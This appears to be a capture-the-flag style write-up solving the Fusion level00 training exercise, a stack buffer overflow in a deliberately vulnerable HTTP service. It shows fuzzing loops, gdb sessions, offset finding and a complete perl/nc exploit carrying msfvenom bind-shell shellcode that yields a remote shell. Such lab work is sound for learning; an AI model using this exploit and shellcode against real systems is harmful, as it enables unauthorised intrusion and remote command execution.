Initially we are presented with the source code for level00 and a hint:

Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).

From <https://exploit-exercises.com/fusion/level00/>

#include "../common/common.c" int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; printf("[debug] buffer is at 0x%08x :-)

", buffer); if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); path = &buffer[4]; q = strchr(path, ' '); if(! q) errx(0, "No protocol version specified"); *q++ = 0; if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); fix_path(path); printf("trying to access %s

", path); return path; } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); parse_http_request(); }

First I noticed that PORT had not been defined in the source so I executed ‘ps -ef’ to see what was running and saw:

20000 1537 1 0 12:14 ? 00:00:00 ./level00

Port 20000.

nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

I start out by seeing how the code works by prodding it with expected strings like “GET ” or running a GET on 192.168.43.240:20000 which outputs:

GET 192.168.43.240:20000

[debug] buffer is at 0xbfc54c98 🙂

trying to access /

However as the hint suggests it is not ‘resolved[128]’ that we should be focusing on so I cease testing with running GET and look into a other methods.

“GET AAAA HTTP/1.1” gets the code flowing.

I tried fuzzing with the following but didn’t have any luck, no core dumps in /tmp:

for x in $(seq 1 1024); do python -c ‘print “GET / HTTP/1.1” + “A”*’$x | nc 192.168.43.240 20000; done

I proceeded with –

for x in $(seq 1 150); do python -c ‘print “GET ” + “A”*’$x’ + ” HTTP/1.1″ + “A”*’$x | nc 192.168.43.240 20000; done

The output provided some hope when I saw:

[debug] buffer is at 0xbfc54c98 🙂

trying to access AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[debug] buffer is at 0xbfc54c98 🙂

trying to access |}

[debug] buffer is at 0xbfc54c98 🙂

trying to access (null)

I began iterating through the following until I saw a difference in the output.

Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*800’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*790’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*750’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*740’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*720’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*710’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

trying to access |}

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*711’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

trying to access |}

➜ Fusion python -c ‘print “GET ” + “A”*135 + ” HTTP/1.1″ + “A”*712’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

trying to access 8 7

I wasn’t gaining much ground from this point so I switched to the Fusion host machine and attached to the level00 process with gdb.

root@fusion:/opt/fusion/bin# gdb -q ./level00

Reading symbols from /opt/fusion/bin/level00…done.

(gdb) attach 1537

Attaching to program: /opt/fusion/bin/level00, process 1537

Reading symbols from /lib/i386-linux-gnu/libc.so.6…Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so…done.

done.

Loaded symbols for /lib/i386-linux-gnu/libc.so.6

Reading symbols from /lib/ld-linux.so.2…(no debugging symbols found)…done.

Loaded symbols for /lib/ld-linux.so.2

0xb7810424 in __kernel_vsyscall ()

(gdb) set follow-fork-mode child

(gdb) c

Continuing.

python -c ‘print “GET ” + “A”*140 + ” HTTP/1.1″ + “A”*712’ | nc 192.168.43.240 20000

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

At this point I’ve realised I can redirect code execution, specifically to the buffer space after the “HTTP/1.1”.

➜ Fusion /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

➜ Fusion perl -e ‘print “GET ” . “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9″ . ” HTTP/1.1″ . “B”x712’ | nc 192.168.43.240 20000

Program received signal SIGSEGV, Segmentation fault.

[Switching to process 10370]

0x65413665 in ?? ()

➜ Fusion /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x65413665

[*] Exact match at offset 139

➜ Fusion perl -e ‘print “GET ” . “A”x139 . “\x98\x4c\xc5\xbf” . ” HTTP/1.1″ . “B”x712’ | nc 192.168.43.240 20000

[debug] buffer is at 0xbfc54c98 🙂

Program received signal SIGSEGV, Segmentation fault.

[Switching to process 10394]

0xbfc54d29 in ?? ()

(gdb) x/40xw 0xbfc54d29

0xbfc54d29: 0x4800bfc5 0x2f505454 0x42312e31 0x42424242

0xbfc54d39: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54d49: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54d59: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54d69: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54d79: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54d89: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54d99: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54da9: 0x42424242 0x42424242 0x42424242 0x42424242

0xbfc54db9: 0x42424242 0x42424242 0x42424242 0x42424242

(gdb) p exit

$3 = {} 0xb76ba9e0 <__GI_exit>

(gdb) attach 1537

Attaching to program: /opt/fusion/bin/level00, process 1537

Reading symbols from /lib/i386-linux-gnu/libc.so.6…Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so…done.

done.

Loaded symbols for /lib/i386-linux-gnu/libc.so.6

Reading symbols from /lib/ld-linux.so.2…(no debugging symbols found)…done.

Loaded symbols for /lib/ld-linux.so.2

0xb7810424 in __kernel_vsyscall ()

(gdb) set follow-fork-mode child

(gdb) c

Continuing.

(gdb) break exit

Breakpoint 2 at 0xb76ba9e0: file exit.c, line 99.

(gdb) c

Continuing.

[New process 10604]

[Switching to process 10604]

Redirect to exit() ➜ Fusion perl -e ‘print “GET ” . “A”x139 . “\xe0\xa9\x6b\xb7″ . ” HTTP/1.1″ . “\x90″x100 . “B”*500’ | nc 192.168.43.240 20000

Breakpoint 2, __GI_exit (status=32) at exit.c:99

99 exit.c: No such file or directory.

in exit.c

(gdb) c

Continuing.

[Inferior 7 (process 10604) exited with code 040]

Confirmed redirection. Now to generate a payload.

msfvenom -p linux/x86/shell_bind_tcp -f c LPORT=4444

“\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80”

“\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a”

“\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0”

“\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f”

“\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0”

“\x0b\xcd\x80”

Fusion perl -e ‘print “GET ” . “A”x139 . “\xa0\x4c\xc5\xbf” . ” HTTP/1.1″ . “\x90″x32 . “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″‘ | nc 192.168.43.240 20000

Program received signal SIGSEGV, Segmentation fault.

[Switching to process 10833]

0xbfc54d27 in ?? ()

(gdb) x/40xw 0xbfc54d27

0xbfc54d27: 0xbfc54ca0 0x54544800 0x2e312f50 0x90909031

0xbfc54d37: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfc54d47: 0x90909090 0x90909090 0x90909090 0xf7db3190

Decided to jump directly into NOPs at 0xbfc54d37

perl -e ‘print “GET ” . “A”x139 . “\x37\x4d\xc5\xbf” . ” HTTP/1.1″ . “\x90″x32 . “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″‘ | nc 192.168.43.240 20000

➜ Fusion nc 192.168.43.240 4444

id

uid=20000 gid=20000 groups=20000

There you have it.